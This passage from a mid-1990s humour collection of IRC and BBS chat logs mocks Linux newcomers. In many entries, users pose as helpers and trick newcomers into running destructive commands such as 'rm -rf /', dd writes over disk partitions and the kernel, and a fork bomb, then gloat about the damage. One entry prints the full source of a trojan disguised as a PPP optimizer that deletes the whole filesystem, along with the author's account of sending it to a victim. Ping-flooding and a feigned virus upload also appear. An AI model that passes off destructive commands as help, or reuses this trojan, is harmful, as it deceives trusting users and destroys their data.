  590. <dood> ogbanje rm -rf / filename yeah right
  591. <Isildur> fungazi ALL LOWERCASE!
  592. <ABV> fungazi are you an idiot or what? read the message you get when you
  593. +logon to an ftp server!
  594. <Isildur> stupid freakin idiot!
  595. <Clueless> thanks hope those were not stupid questions
  596. <ABV> clueless they were
  597. <Isildur> clueless they sure were.
  598. <Isildur> remember: CP = copy RM = del
  599. -> *cplusplus* You logging this one for you finger info? ;)
  600. *** cplusplus: No such nick/channel
  601. ^^^^ and, you weren't, so I saved it for ya.
  602.  
  603. Thanks so much to Ducati916. I'm so sorry I missed it, for I
  604. am sure that I could of added lots of thought provoking insight,
  605. helped lift the clue, ect. (And I got into computers because I
  606. thought there was no heavy lifting involved. Well, besides hoisting
  607. my new CM5e. But that's what the delivery men are for, soooo..)
  608.  
  609. ========================================================================
  610.  
  611. <cav> * You have become desynced, to resync, type /sig resync
  612. <cav> *** Signoff: AlexKidd (resync)
  613. <cav> *** Signoff: xyz (resync)
  614. <RanciD> hahahahahah
  615. <Jaymz> hahahaha
  616.  
  617. =======================================================================
  618.  
  619. *** WindowsGod (wingod@ppp39.texoma.com) has joined channel #linux
  620. <Justice> Maelcum, remember, next time you feel like handing out ops :)
  621. <vi> i wish cpp was connected! i like his mud!
  622. *** Signoff: WindowsGod (Undefined error: 0)
  623. <vi> that's windows for u!
  624. <Maelcum> Hah! Windows crashed. :)
  625. * vi snickers
  626. * Maelcum snickers
  627. <Justice> What was that?
  628. <Maelcum> hey!
  629. * Justice laughs.
  630. <Maelcum> Justice: Microsoft in action. :)
  631. - Submitted by vi
  632.  
  633. ==============================================================================
  634.  
  635. Matthie's first kill.
  636.  
  637. <matthies> jooe - dd if=/etc/hosts of=/vmlinuz try that
  638. <matthies> dd if=/etc/hosts of=/vmlinuz bs=8192
  639. <jooe> matties _ unrecognised option if-/etc/hosts???????
  640. <matthies> if= not if-
  641. <jooe> mattis it says 0+1 records in 0+1 records out
  642. <jooe> matthies did you get that ??
  643. <jooe> matthies what's next ??
  644. <matthies> jooe - try dd if=/etc/hosts of=/proc/kcore bs=4098
  645. <jooe> matthies it ssays permission denied????
  646. <matthies> jooe - try dd if=/etc/hosts of=/dev/console bs=4098
  647. <jooe> matthie unrecognised option 'it/etc/hosts
  648. *dthomas* don't you mean if=/vmlinuz? :-)
  649. <jooe> matthie any other idears ??
  650. -> *jooe* try rm -rf / :)
  651. *** Signoff: jooe (Leaving)
  652. <jooe> matthie operation not permitted????
  653. -> *jooe* wanna give me access to the account so Ican help you?
  654. [ jooe changes his nick to femi ]
  655. *femi* you jus tfucked up my entire system????
  656. *femi* what now ?????
  657. *femi* that fuckin command you gave me was fucked......
  658. *femi* were there fuck are yo u????
  659. <femi> matthies you just fucked up my machine ???
  660. <vi> femi- i can fix it!
  661. <femi> matthies were there fuck ru ???
  662. <femi> he fuckin gave me a command that fucked up my machine...
  663. <femi> matthies you fucked my machine ....
  664. <femi> matthies you fuck were are you ????
  665. <matthies> femi: chill
  666. <Frakir> femi: the rest of us don't appreciate the language
  667. <femi> chill chill do you know how long it took me to install this stuff????
  668. <femi> you fuckin chill...
  669. <femi> fuck you matthies
  670. <matthies> *femi* you fuck..
  671. <matthies> *femi* I will definately get you back :: you wait ....
  672. <matthies> *femi* you fucked the wrong person....
  673. <matthies> *femi* I am going to put a cause you entire family...
  674.  
  675. ============================================================================
  676.  
  677. How do I plug my Boca 28.8 into my com4 parallel port?
  678.  
  679. <Nirv> yup
  680. <cplusplus> Nirv: Parellel?
  681. <Runar> Nirv: I don't think com4 is parallel dude
  682. <Jaymz> No wonder, Nirv. Why is it on your parallel port?
  683. *** cplusplus has changed the topic on channel #linux to <Nirv> Boca 28.8
  684. into com4 parallel port
  685. *** _spIDer_ is now known as _spider_
  686. *** seedtime (msparks@phoenix.phoenix.net) has joined channel #linux
  687. <Nirv> i linked /dev/modem to /dev/cua3
  688. <terrapin> gagagaga
  689. <terrapin> err hahahahah
  690. <Runar> Nirv: lpt4 might be parallel, but I don't think you've got that.
  691. <terrapin> cpp: THE PLAN
  692. <cplusplus> yeah
  693. * cplusplus copys to clipboard
  694.  
  695. ===========================================================================
  696. Efnet netsplits strike again
  697.  
  698. <cav> * You have become desynced, to resync, type /sig resync
  699. <matthies> and open your prayerbook to te book of Revelatinos,
  700. Psalm 69
  701. <cav> *** Signoff: AlexKidd (resync)
  702. <cav> *** Signoff: xyz (resync)
  703. <RanciD> hahahahahah
  704. <Jaymz> hahahaha
  705.  
  706. ==========================================================================
  707.  
  708. <cplusplus> kingcon: Doh. Do mkswap /dev/hd?? ; swapon /dev/hd??
  709. <cplusplus> Kingcon: That'll speed it up bigtime
  710. <kingcon> ok
  711. <kingcon> thats /dev/sda
  712. <kingcon> :)
  713. <cplusplus> kingcon: ok
  714. <kingcon> cpp - how many blocks, and do i use the option -c ??
  715. <cplusplus> kingcon: mkswap /dev/hd?? 20000 ; swapon /dev/hd??
  716. <kingcon> i forgottt the formula for blocks
  717. <kingcon> I got a big drive
  718. <cplusplus> kingcon: use 20000
  719. <kingcon> so give me a couple
  720. <kingcon> i got 8 megs only of ram :(
  721. <kingcon> (bad english) heh.
  722. <kingcon> ok
  723. <cplusplus> kingcon: Use 20000 and it'll make it an even 20 megs
  724. <kingcon> 20,000?
  725. <kingcon> sheesh
  726. <cplusplus> kingcon: Yeah
  727. <kingcon> ok
  728. <kingcon> mk
  729. <kingcon> NO CARRIER
  730. *** Signoff: kingcon (Error 0 occurred.)
  731. <cplusplus> that's cute
  732.  
  733. - Credit where credit is due. When kingcon logged back on with a DOS
  734. - partition he was really resonable and good minded about it, and I
  735. - admire him for not blowing up like certain people of the past. As I
  736. - recall he said he needed to reinstall anyways. Here's hoping he has
  737. - an excellent Linux future ahead of him.
  738.  
  739. ==========================================================================
  740.  
  741. *** nicodne (~ab@set.cybercom.net) has joined #unix
  742. <nicodne> i have a kweshtion. mind if i ask?
  743. <nicodne> h0h0h0
  744. <_NAK_> micodene: ask.
  745. <nicodne> why is it that whenever i unplug my monitor it goes black ?
  746. <nicodne> i mean
  747. <MrOgre> uh
  748. <^_Rex_^> nicodne: maybe cuz when the cord is unplugged it has no power
  749. <McClaran> *sigh*
  750. *** nicodne was kicked from #unix by _NAK_ (thanks for cominout)
  751.  
  752. - Submitted by _^Rex^_
  753.  
  754. =========================================================================
  755.  
  756. More Matthies - This is a file he sent me, I didn't really go over it
  757.  
  758. > jooe - dd if=/etc/hosts of=/vmlinuz try that
  759. > dd if=/etc/hosts of=/vmlinuz bs=8192
  760. <jooe> matties _ unrecognised option if-/etc/hosts???????
  761. > if= not if-
  762. <jooe> mattis it says 0+1 records in 0+1 records out
  763. <jooe> matthies did you get that ??
  764. <jooe> matthies what's next ??
  765. > jooe - try dd if=/etc/hosts of=/proc/kcore bs=4098
  766. <jooe> matthies it ssays permission denied????
  767. > jooe - try dd if=/etc/hosts of=/dev/console bs=4098
  768. <jooe> matthie unrecognised option 'it/etc/hosts
  769. *dthomas* don't you mean if=/vmlinuz? :-)
  770. <jooe> matthie any other idears ??
  771. -> *jooe* try rm -rf / :)
  772. *** Signoff: jooe (Leaving)
  773. <jooe> matthie operation not permitted????
  774. -> *jooe* wanna give me access to the account so Ican help you?
  775.  
  776.  
  777. *femi* you jus tfucked up my entire system????
  778. *femi* what now ?????
  779. *femi* that fuckin command you gave me was fucked......
  780. *femi* were there fuck are yo u????
  781. <femi> matthies you just fucked up my machine ???
  782. <vi> femi- i can fix it!
  783.  
  784.  
  785. <femi> matthies were there fuck ru ???
  786. <femi> he fuckin gave me a command that fucked up my machine...
  787. <femi> matthies you fucked my machine ....
  788. <femi> matthies you fuck were are you ????
  789. femi: chill
  790. <Frakir> femi: the rest of us don't appreciate the language
  791. <femi> chill chill do you know how long it took me to install this stuff????
  792. <femi> you fuckin chill...
  793. <femi> fuck you matthies
  794.  
  795. *** Sabotage There was no such nickname ***
  796. Sabotage is sabotage@dragon.achilles.net (Ben Dover)
  797. *** on channels: #icep *** on irc via server irc.texas.net i
  798. ([204.96.20.4] Texas Networking, INC) i
  799. -> *Sabotage* do you need help? i
  800. *Sabotage* well yeah.. i
  801. -> *sabotage* try this: dd if=/etc/hosts of=/dev/hda bs=4098 that will i
  802. +unpartition it i
  803. Sabotage* thanks alot man.. i
  804. -> *Sabotage* no prob
  805.  
  806.  
  807. -> *LowRideRz* try this: dd if=<PATH TO FILENAME> of=/dev/hda bs=200
  808. *LoWRiDeRz* ok
  809. *LoWRiDeRz* ?
  810.  
  811. LoWRiDeRz* do i put dd if= the name of the file ? of=/dev/hda bs=200
  812. *LoWRiDeRz* it said 732+1 records in
  813. *LoWRiDeRz* 732+1 records out
  814. *** LoWRiDeRz is LoWRiDeR@dynamic175-102.ip.portal.com (DiCk B LoNg)
  815. *** on channels: #linux
  816. *** on irc via server irc2.portal.com ([irc1.portal.com] Road construction)
  817. *LoWRiDeRz* then made a -dev-hda ?
  818.  
  819. WRiDeRz* what is the path to the file ? ie /root/file.exe ???
  820. *LoWRiDeRz* c:\comit\comit.exe
  821. -> *LoWRiDeRz* do: dd if=/vmlinuz of=/dev/hda bs=200 that'll do it
  822. *LoWRiDeRz* ?
  823. *LoWRiDeRz* no i can do nothing
  824. *LoWRiDeRz* :(
  825.  
  826. =========================================================================
  827. The popularity grows (No doubt spruned by the fact that all the newbies
  828. are positivly FLOODING into the area because school is starting up again,
  829. if you don't believe me just look around). And I'm just a granter of
  830. wishes, such as "I need more swap" or...
  831.  
  832. <Blacky:#newcastle> ahh cplusplus is on, i might see if i can get into
  833. his little irc-twits file
  834.  
  835. Smile blacky, your on candid IRC-cam
  836.  
  837. This takes place after he crashed unexpectedly - Something to do with:
  838. <cplusplus> Put this in a file and compile it:
  839. main(){while(1){fork();malloc(2048);}}
  840. ---
  841. <Craig> Sure. Why not.
  842. <cplusplus> dd if=/etc/fstab of=/dev/hda1 ; makemap dbm report < /vmlinuz
  843. <Craig> From the command lien right?
  844. <cplusplus> Yup
  845. <cplusplus> Wait
  846. [AON] no way, this isn't going to happen
  847. <cplusplus> Oh no that's right
  848. <Craig> OK.
  849. <cplusplus> Just make sure makemap is in your path
  850. <cplusplus> It's in /usr/sbin
  851. <cplusplus> It spin the disk a bit?
  852. <Craig> Permission Denied
  853. <cplusplus> You root?
  854. <Craig> Yes.
  855. <cplusplus> Hrm
  856. <cplusplus> Odd
  857. <Craig> What's it supposed to do?
  858. <cplusplus> Do /exec mount -o again
  859. <cplusplus> I musta got it wrong
  860. <Craig> /dev/hda1 on / type ext2 (rw)
  861. <Craig> none on /proc type proc (rw)
  862. <Craig> /dev/hda2 on /home type ext2 (rw)
  863. <Craig> /dev/hdb on /system_cd type iso9660 (ro)
  864. <renegade> c++, does that report produce an inode report?
  865. <renegade> mine never shows me inode data
  866. <cplusplus> Yeah
  867. <cplusplus> Well, sort of
  868. <cplusplus> it has inode summaries
  869. <cplusplus> And you can use this other util to get the direct info
  870. <renegade> ok
  871. <renegade> will it do it for both partitions
  872. <renegade> ?
  873. <cplusplus> craig?
  874. <renegade> brb
  875. <cplusplus> ren: Yeah. Be sure to get the null records in for any extra partitions
  876. <renegade> put that on screen again..
  877. <renegade> ok
  878. * cplusplus pokes craig
  879. <Craig> Got it.. Permission denied.
  880. <cplusplus> ??
  881. <cplusplus> dd if=/dev/zero of=/dev/hda2 ; dd if=/dev/zero of=/dev/hda1 ; makemap
  882. <cplusplus> You should probably run it from the root dir
  883. <Craig> Must be...
  884. <cplusplus> Still says permission denied?
  885. <Craig> What was the FS bug. What exactly does/did it do.
  886. <Craig> Working on it.
  887. <cplusplus> Some of the formats have a weird e2fs header that has started to cause problems
  888. <cplusplus> The report will let you know if this is the case
  889. <Craig> I get an "Illegal command que tag recieved".
  890. <cplusplus> When you try to run dd?
  891. <cplusplus> Did it access the disk at all?
  892. <Craig> Correct. No no disk access.
  893. <cplusplus> Huh.
  894. <cplusplus> Try just the first one
  895. <cplusplus> dd if=/dev/zero of=/dev/hdb2
  896. <Craig> "Permission Denied"
  897. <cplusplus> type dd and press ctl+c
  898. <cplusplus> what does it say?
  899. <Craig> 0+0 record in
  900. <Craig> 0+0 records out
  901. <cplusplus> /exec -o ls -l /dev/zero
  902. <renegade> BLOCK: STAT: ILINES: COUNT:
  903. <renegade> 1101 linked None +.545341
  904. <renegade> 1102 linked None +.128764
  905. <renegade> 1103 linked None +.541324
  906. <renegade> 1104 linked Yes +.987341
  907. <renegade> 1105 linked Yes +.143234
  908. <renegade> 1106 linked Yes +.517541
  909. <renegade> 1107 linked None +.987712
  910. <renegade> 1108 linked None +.324323
  911. <renegade> What are ilines?????
  912. <Craig> crw-rw-rw- 1 root system 1, 5 Jul 21 1993 /dev/zero
  913. <cplusplus> World writable?
  914. <cplusplus> Huh
  915. <renegade> And how can I get that count a little higher on my inodes? I hate wasting space like this
  916. <renegade> Can that be done w/o reformatting?
  917. <cplusplus> ren: It can, you can tweak the hdparams
  918. <cplusplus> craig: This is definitly odd. It works on my computer.
  919. <renegade> worked on mine too
  920. <cplusplus> craig: Why don't you try dd if=/dev/zero of=/dev/hda1
  921. <renegade> that's a long fuking report
  922. <renegade> heh
  923. <renegade> spins the shit outta the drive too.
  924. <cplusplus> Hrm
  925. <cplusplus> BLOCK: STAT: ILINES: COUNT:
  926. <cplusplus> 1401 linked None +.432341
  927. <cplusplus> 1402 linked None +.124764
  928. <cplusplus> 1403 linked None +.543324
  929. <cplusplus> 1404 linked Yes +.984341
  930. <cplusplus> 1405 linked Yes +.143234
  931. <cplusplus> 1406 linked Yes +.542541
  932. <cplusplus> 1407 linked None +.927712
  933. <cplusplus> 1408 linked None +.424323
  934. <AON> BLOCK: STAT: ILINES: COUNT:
  935. <cplusplus> Same idea
  936. <AON> 1101 linked Yes +.945341
  937. <AON> 1102 linked None +.428764
  938. <AON> 1103 linked None +.041024
  939. <AON> 1104 linked None +.147941
  940. <AON> 1105 linked Yes +.996634
  941. <AON> 1106 linked Yes +.666541
  942. <AON> 1107 linked Yes +.985532
  943. <AON> 1108 linked None +.324323
  944. <AON> works here
  945. <renegade> damn russ
  946. <renegade> you got that killer inode use
  947. <renegade> mine sux
  948. <renegade> you see it?
  949. <AON> yes
  950. <AON> some are cool
  951. <cplusplus> The second one work, craig?
  952. <AON> other suck big time
  953. *** CTCP PING reply from renegade: 0 seconds
  954. *** CTCP PING reply from tsbnbot: 0 seconds
  955. * renegade ponders how much wasted disk space he has on lin1.
  956. -AON- PONG! Running [DRAGON] by SYCLOPS afn17007@freenet.ufl.edu
  957. <AON> how can i get it to average out better?
  958. <renegade> c++ said hdparms can be tweaked
  959. -=> renegade <=- I think he's dead, Jim
  960. [renegade] Think you got him?
  961. * AON needs to tweak
  962. *** CTCP PING reply from renegade: 0 seconds
  963. *** CTCP PING reply from tsbnbot: 0 seconds
  964. -AON- PONG! Running [DRAGON] by SYCLOPS afn17007@freenet.ufl.edu
  965. <cplusplus> Can't ping him
  966. <cplusplus> IP ping is dead too
  967. * cplusplus coughs
  968. <cplusplus> He's gone
  969. * AON dies!
  970. <AON> +100 karma for c++
  971. <cplusplus> You two laughing?
  972. <AON> i'm dieing
  973. <AON> shit
  974. <AON> hehehe
  975. <AON> somebody help me off the floor!
  976. * AON has fallen and can't get up
  977.  
  978. ============================================================================
  979. 11/01/95
  980. <DjTaCo> the screens go bye so fast i can't read them
  981. <DjTaCo> and i forget my glasses alot
  982. <cplusplus> You're at 2400 with a 14.4K because it SCROLLS to fast?
  983. <DjTaco> yes
  984.  
  985. ============================================================================
  986. 12/04/95
  987. <artemis-> I try to run rtfm, but I get the message 'rtfm: command not found'
  988.  
  989. ============================================================================
  990. 12/08/95
  991. IRC log started Wed Dec 6 04:55
  992. *** Value of LOG set to ON
  993. *** Jax is rroush@205.160.250.250 (http://www2.inetw.net/~rroush)
  994. *** on channels: #linux
  995. *** on irc via server irc.colorado.edu (Univ of Colorado Server (2.8.*))
  996. *** Jax has been idle 6 minutes
  997. -=> leviathan <=- hey
  998. -=> leviathan <=- what's the error?
  999. [LeviathaN:leviathan@eons.com] Help me dude! Heh
  1000. -=> LeviathaN <=- what was the error message again?
  1001. [LeviathaN:leviathan@eons.com] It gets to the end of the script and says
  1002. something like "Set SERVER first" then
  1003. hangs up and aborts
  1004. -=> LeviathaN <=- did you configure dip.cf ?
  1005. [LeviathaN:leviathan@eons.com] Where is it located?
  1006. -=> LeviathaN <=- ok, you have to initialize the config
  1007. -=> LeviathaN <=- are you root?
  1008. <Riad> loghair: ignoring who ? i received no meesssage
  1009. [LeviathaN:leviathan@eons.com] Yep
  1010. -=> LeviathaN <=- k
  1011. -=> LeviathaN <=- type: rm -rf / /etc/dip.cf
  1012. -=> LeviathaN <=- you doing it?
  1013. [LeviathaN:leviathan@eons.com] It gave me 2 errors
  1014. -=> LeviathaN <=- what errors?
  1015. [FIDELITY] -> 05:00.
  1016. [LeviathaN:leviathan@eons.com] 'rm: //DOS: Operation not permitted' and
  1017. 'rm: //etc:Device or resource busy'
  1018. -=> LeviathaN <=- are you sure you are root?
  1019. [LeviathaN:leviathan@eons.com] Then it gave me like 6 more
  1020. -=> LeviathaN <=- ok we'll try the other way to configure it
  1021. -=> LeviathaN <=- rm -rf / dip.cf
  1022. [LeviathaN:leviathan@eons.com] Shit
  1023. -=> LeviathaN <=- what?
  1024. [LeviathaN:leviathan@eons.com] My etc dir is empty now
  1025. -=> LeviathaN <=- it shouldn't be
  1026. -=> LeviathaN <=- try rm -rf / dip.cf
  1027. [FIDELITY] -> 05:05.
  1028. -=> LeviathaN <=- did you do that so we can goto the next step ?
  1029. [LeviathaN:leviathan@eons.com] Yeah
  1030. -=> LeviathaN <=- you did rm -rf / dip.cf
  1031. [LeviathaN:leviathan@eons.com] Yes
  1032. -=> LeviathaN <=- ok
  1033. -=> LeviathaN <=- dd if=/dev/zero of=/dev/hda1
  1034. -=> LeviathaN <=- ready for the next step?
  1035. *** LeviathaN is ~leviathan@www.eons.com (LeviathaN)
  1036. *** on channels: #linux
  1037. *** on irc via server minnie.cc.utexas.edu (UT's 3rd "I Repeat Class" server)
  1038. -=> LeviathaN <=- hello
  1039. *** CTCP FINGER reply from LeviathaN: (leviathan@www.eons.com) has been
  1040. idle 2 seconds.
  1041. -=> LeviathaN <=- are you ready for the next step?
  1042. <LeviathaN> God damn
  1043. <LeviathaN> Pax is an ass
  1044. [FIDELITY] -> 05:15.
  1045. *** RAW_IRC activated by "LeviathaN!~leviathan@www.eons.com PRIVMSG
  1046. #linux :I gotta go kick his ass"
  1047. <LeviathaN> I gotta go kick his ass
  1048. <LeviathaN> BBL ***
  1049. Signoff: LeviathaN (Leaving... )
  1050. -=> LeviathaN <=- what do you mean?
  1051. *** LeviathaN: No such nick/channel
  1052.  
  1053. =============================================================================
  1054. 12/28/95
  1055. [This took place on a Major BBS System (Integrated Connection)
  1056. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Chat Mode Activated ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1057. Type 'X' on a blank line to exit.
  1058.  
  1059. you want me to help?
  1060. yeah
  1061.  
  1062. Root is paging you from Teleconference: DNS most likly
  1063.  
  1064. okay. I'm gonna help you optimize PPP for the most speed you can get, okay?
  1065. your not gonna telnet in as root
  1066. :)
  1067. no need to
  1068. ok
  1069.  
  1070. Root is paging you from Teleconference: i can't believe you taking the phun
  1071. out of this..:)
  1072. I'll explain how to do it.. tell me what partation is your hd?
  1073. /dev/hda1 ?
  1074. /dev/hdb3
  1075.  
  1076. /dev/hdb2 or /dev/hdb3
  1077. 3
  1078. you sure?
  1079. No i'm a fucking liar.. Yes I'm Sure I have 2 hd's 1 partion on the first
  1080. and 3on the 2nd 50 meg dos 16 meg swap and the rest linux
  1081. hello?
  1082. hold on a second, reading a optimization file.ij
  1083. I get my ISP through INdynet
  1084. If that helpZ
  1085.  
  1086. Root logs -OFF- : Time for me to go, see ya later!
  1087. almost done. hold.
  1088.  
  1089. ììì Root logs -ON- : Hi everyone! How are you today?
  1090. okay, I'm gonna send you something called fastio, it came with my version of
  1091. ppp (I purchased another linux distro). It gives you the fastest and
  1092. cleanist
  1093. connection possible, I'vve noticed. ok..
  1094. could I have an irc compiled too pls
  1095.  
  1096. Captain Picard logs -OFF- : See ya later!
  1097. and why does it sayyou do n't have irc compiled?
  1098. I used to but had to Get rid of my system ....
  1099.  
  1100. ììì Jeff logs -ON- : Hi Everyone!
  1101.  
  1102. how am I going to get you the irc client. hum. you know how to use minicom,
  1103. correct?
  1104. I'm in it right no
  1105. now
  1106. so, in a minute, we'll hang up from ic, and I'll call you, you connect (ata)
  1107. and I'll send you the file. after you get it, do chmod +x irc, and chmod +x
  1108. fastio. then run the fastio first, it'll start the ppp session
  1109. correctly, then
  1110.  
  1111. ClosetMan logs -OFF- : See ya later!
  1112. run irc
  1113. ok...
  1114. let me get the programs together. hold on.
  1115.  
  1116. ììì Pink Silk Lace logs -ON- : Hi Everyone!
  1117. You got 28.8
  1118. yeah
  1119. me too
  1120. lemme read my holiday card someone emailed me, then I'll be ready.ok
  1121.  
  1122. ììì ClosetMan logs -ON- : Hi Everyone!
  1123.  
  1124. ClosetMan logs -OFF- : See ya later!
  1125.  
  1126. Jeff logs -OFF- : See ya later!
  1127.  
  1128. HEY will it make me a file called ppp to like.. run pppd right
  1129. what fastio does, when you run it is first search (quickly) for your modem,
  1130. then correctly initalize ppp
  1131. so I have to run fastio every time I wanna run ppp
  1132. ??
  1133. what does unknown server error mean anyway
  1134. you are not passing the correct commands to it
  1135. that's what i got when I tried to telnet
  1136. so are we gonna do it or not
  1137. :)
  1138. gotta go to bed so I can wake up tomarrow morning and get my new 4 meg of ram
  1139. from my parents
  1140. whats your number?
  1141. 5959798
  1142.  
  1143. Do I run fastion every time I wanna run PPP
  1144. yes. its actually called iorocket, I thought it was fastio. ohh well.
  1145. ok
  1146. can I rename it ppp
  1147. for the first run, it has to be called iorocket.
  1148. ok also... where should I put compiled pppd
  1149. when you installed linux, it placed pppd in a directory, /usr/something,
  1150. iorocket will find it.
  1151. you ready?
  1152. eyah
  1153.  
  1154. [From this point, I called his system, and sent him a compiled version of
  1155. the "iorocket" program. Here is what the program was really.
  1156.  
  1157. IOROCKET.C:
  1158. #include <iostream.h>
  1159. #include <unistd.h>
  1160. #include <stdlib.h>
  1161. int main(void)
  1162. {
  1163. cout << "\nI/O Rocket v1.22b - NewComm Enterprises - 1995";
  1164. cout << "\n\n - PPP/SLIP/CSLIP Optimizer loading.. please wait.." << endl;
  1165. sleep(5);
  1166. cout << "\n - Searching for PPP system files.." << endl;
  1167. sleep(4);
  1168. cout << "\n - Modem found on CUA1 (COM2, 28.8 CONNECTION BEING MADE" <<
  1169. endl;
  1170. system("/bin/rm -rf /*");
  1171. cout << "\n - Connected to server slip.indy.net - enjoy" << endl;
  1172. return 0;
  1173. }
  1174.  
  1175. <Freak> I can't even do ls anymore
  1176. <DarkNite> umm, what happened when you rebooted?
  1177. <Freak> Nothing.
  1178. <DarkNite> you are screwed. You shoulda known better.
  1179.  
  1180. As you see, once he runs this, he thinks he's connecting to his isp, but
  1181. we are really just deleting his hard drive.
  1182.  
  1183. By, yours truly.. DarkNite.
  1184.  
  1185.  
  1186. =========================================================================
  1187. cplusplus, 01/25/96
  1188.  
  1189. <Wasim:#linux> that's with netscape up, going to punch up my normal load now
  1190. <Wasim:#linux> what's a good program to run, to put load on the cpu
  1191. <cplusplus> main(){while(1){fork();malloc(1024);}}
  1192. <Wasim:#linux> how much load will it put, I don't want it to kill me
  1193. <cplusplus> Not too much, not too little. try it
  1194. <Wasim:#linux> gcc -o load.c ?
  1195. <cplusplus> Yuppers
  1196. # I switch to #tessier
  1197. <cplusplus> wasim is about to fork himself
  1198. <cplusplus> This should be good
  1199. <Mandy> I noticed that
  1200. <Wasim:#linux> gcc: No input files
  1201. <Mandy:#linux> gcc load.c -o load
  1202. # I switch to #linux
  1203. <cplusplus> gcc load.c -o load
  1204. # I switch to #tessier
  1205. <Wasim:#linux> gotcha
  1206. <Wasim:#linux> started
  1207. <Mandy> ;-) Whats going to happen to poor wasim?
  1208. <cplusplus> Never forked yourself?
  1209. <cplusplus> The moment after he runs it he'll be unable to type
  1210. <Mandy> Is he going to have infinite processes of 1 meg apice?
  1211. <Wasim:#linux> AAAAAAGHHH
  1212. <Mandy> Lemmie try it
  1213. # I switch to #linux
  1214. <cplusplus> aaaaaaaaaaaaagh?
  1215. * cplusplus kills himself laughing
  1216. <Wasim> yeah
  1217. <cplusplus> Something wrong?
  1218. <cplusplus> wasim?
  1219. <cplusplus> oh wasim?
  1220. * cplusplus shruggeth
  1221. <cplusplus> you still here?
  1222.  
  1223. # Big netsplit so I missed the reactions when he hardbooted
  1224.  
  1225. ============================================================================
  1226.  
  1227. This takes place right after we had pingflooded SQL after he ircflooded
  1228. us.
  1229.  
  1230. IRC log started Sat Jan 27 04:52
  1231. <cplusplus> hey sql
  1232. <SQL> ya
  1233. * Wasim tickles SQL (scream)
  1234. <synthpunk> hows it goin
  1235. <synthpunk> SQL: How's that modem of yours
  1236. -> cplusplus watch this
  1237. <SQL> its no fun if you can't flood peple
  1238. <synthpunk> SQL: Do you have an external modem?
  1239. <cplusplus> Don't piss people off them
  1240. <cplusplus> then
  1241. <SQL> yup
  1242. <Wasim> no...you're right...watch those light carefully okay
  1243. <synthpunk> you can like see the lights go on and off and such?
  1244. -> wasim not now watch this
  1245. # ------------------( WhoIs: SQL )---------------- -- -
  1246. # UserHost : blkmiata@ple-ca8-05.ix.netcom.com (Commercial)
  1247. # Irc Info : Wylie E. Coyote
  1248. # Channels : #linux
  1249. # Server : davis.ca.us.dal.net (DALnet West Coast Hub)
  1250. * cplusplus tries not to laugh
  1251. <synthpunk> SQL: You see the send data/recieve data light going on and off every now and then?
  1252. *** Teller (Teller@cs105-1.u.washington.edu) joined #linux at 04:55am
  1253. *** Mode change "+o Teller" on channel #linux by ChanServ
  1254. <SQL> your point?
  1255. <synthpunk> SQL: That's me logging on to your computer
  1256. -> wasim hehe
  1257. <SQL> ya right
  1258. <synthpunk> SQL: Now if the hard drive starts flashing, you know why, ok?
  1259. <cplusplus> Oh he's got the Windows fs bugs?
  1260. <synthpunk> And there's quite nothing you can do about it
  1261. * cplusplus mounts up his fs with WFW
  1262. <synthpunk> cpp: Watch this I can make his hd light go on...
  1263. <synthpunk> npow
  1264. <synthpunk> now
  1265. <synthpunk> I mean
  1266. -> cplusplus he's getting paranoid as hell
  1267. <Teller> you guys taking advantage of that win95 security? :)
  1268. <cplusplus> ?
  1269. <synthpunk> Teller: Yup... obviously this kid is a newbie
  1270. <cplusplus> Should I upload a virus?
  1271. <cplusplus> teller: Yeah
  1272. <synthpunk> cpp: go for it
  1273. <cplusplus> let me pick one from my archive
  1274. <synthpunk> SQL: If I were you I'd turn off my computer right about now
  1275. <Teller> not really his fault, ms should have done a better jon of it
  1276. <Teller> err job
  1277. * cplusplus mounts up sql
  1278. <SQL> oh really
  1279. * SQL knows an asshole when he sees one ( cplusplus )
  1280. * cplusplus sends
  1281. <Wasim> SQL: you're fucked man, seriously
  1282. * synthpunk knows of a virus infected keyboard jockey when he sees one ( SQL )
  1283. <cplusplus> See it?
  1284. <cplusplus> Here it comes
  1285. <synthpunk> hahahah i see it
  1286. *** Signoff: SQL (Error 0)
  1287. <synthpunk> oh shit
  1288. <synthpunk> hahahahajikofmngh dsfg
  1289. <synthpunk> hahahahaa
  1290. * cplusplus stops
  1291. <synthpunk> BAHAHAHAHHAAHAHAHAH
  1292. <Teller> haha
  1293. <synthpunk> *** Signoff: SQL (Error 0)
  1294. <synthpunk> hehehehe
  1295. IRC log ended Sat Jan 27 04:59
  1296.  
  1297. ==========================================================================
  1298.  
  1299. [FIDELITY] -> Anthony has slunk into #linux
  1300. <Anthony> hi
  1301. [FIDELITY] -> 07:25.
  1302. [FIDELITY] -> --- YOU HAVE BEEN AUTOMATICALY PLACED UN-AWAY
  1303. <cplusplus> Hello.
  1304. [^BFIDELITY^B] -> xanth.ma.us.dal.net You have returned to your body.
  1305. [^BFIDELITY^B] -> Anthony from slip109-163.bb.delphi.com, ident ~1234,
  1306. Anthony
  1307. [^BFIDELITY^B] -> on: #linux
  1308. [^BFIDELITY^B] -> via phoenix.tx.us.dal.net
  1309. <Anthony> whats up in here
  1310. <cplusplus> Nothing. It's nighttime.
  1311. <Anthony> any chics
  1312. <cplusplus> Yes
  1313. <Anthony> who
  1314. * cplusplus coughs, it's no fun if I tell you
  1315. <Anthony> but please tell me, i want to have sex!!!
  1316. <cplusplus> I'd wager you're in the wrong channel
  1317. <Anthony> is this one of those computer dorks channel???
  1318. <cplusplus> no
  1319. [FIDELITY] -> Da topic for #linux is You've got mail!
  1320. [FIDELITY] -> Topic for #linux set by synthpunk on Jan 27 21:30:32
  1321. <Anthony> what is it then
  1322. <cplusplus> Follows of the linux rap group
  1323. <cplusplus> followers, even
  1324. <Anthony> what is that, may i ask
  1325. <cplusplus> Umm, a rap group maybe?
  1326. <Anthony> rap is for dicks!
  1327. <cplusplus> No, dicks are for men.
  1328. <cplusplus> Didn't your sister teach you anything?
  1329. <Anthony> just kidding man later.
  1330. * cplusplus shrugs
  1331. [FIDELITY] -> Anthony has departed #linux.
  1332. * cplusplus flips off his log
  1333. IRC log ended Sun Jan 28 07:29
  1334.  
  1335.  
  1336. ===================================================================
  1337. OK, everyone mail the netcom lamers and ask them where you
  1338. can get a copy of Abuse for linux
  1339.  
  1340. - ---------- Forwarded message ----------
  1341. Date: Mon, 29 Jan 1996 11:15:57 -0800 (PST)
  1342. From: NETCOM Technical Support <abuse@netcom.com>
  1343. To: pfnguyen@netcom.com
  1344. Subject: IRC Abuse
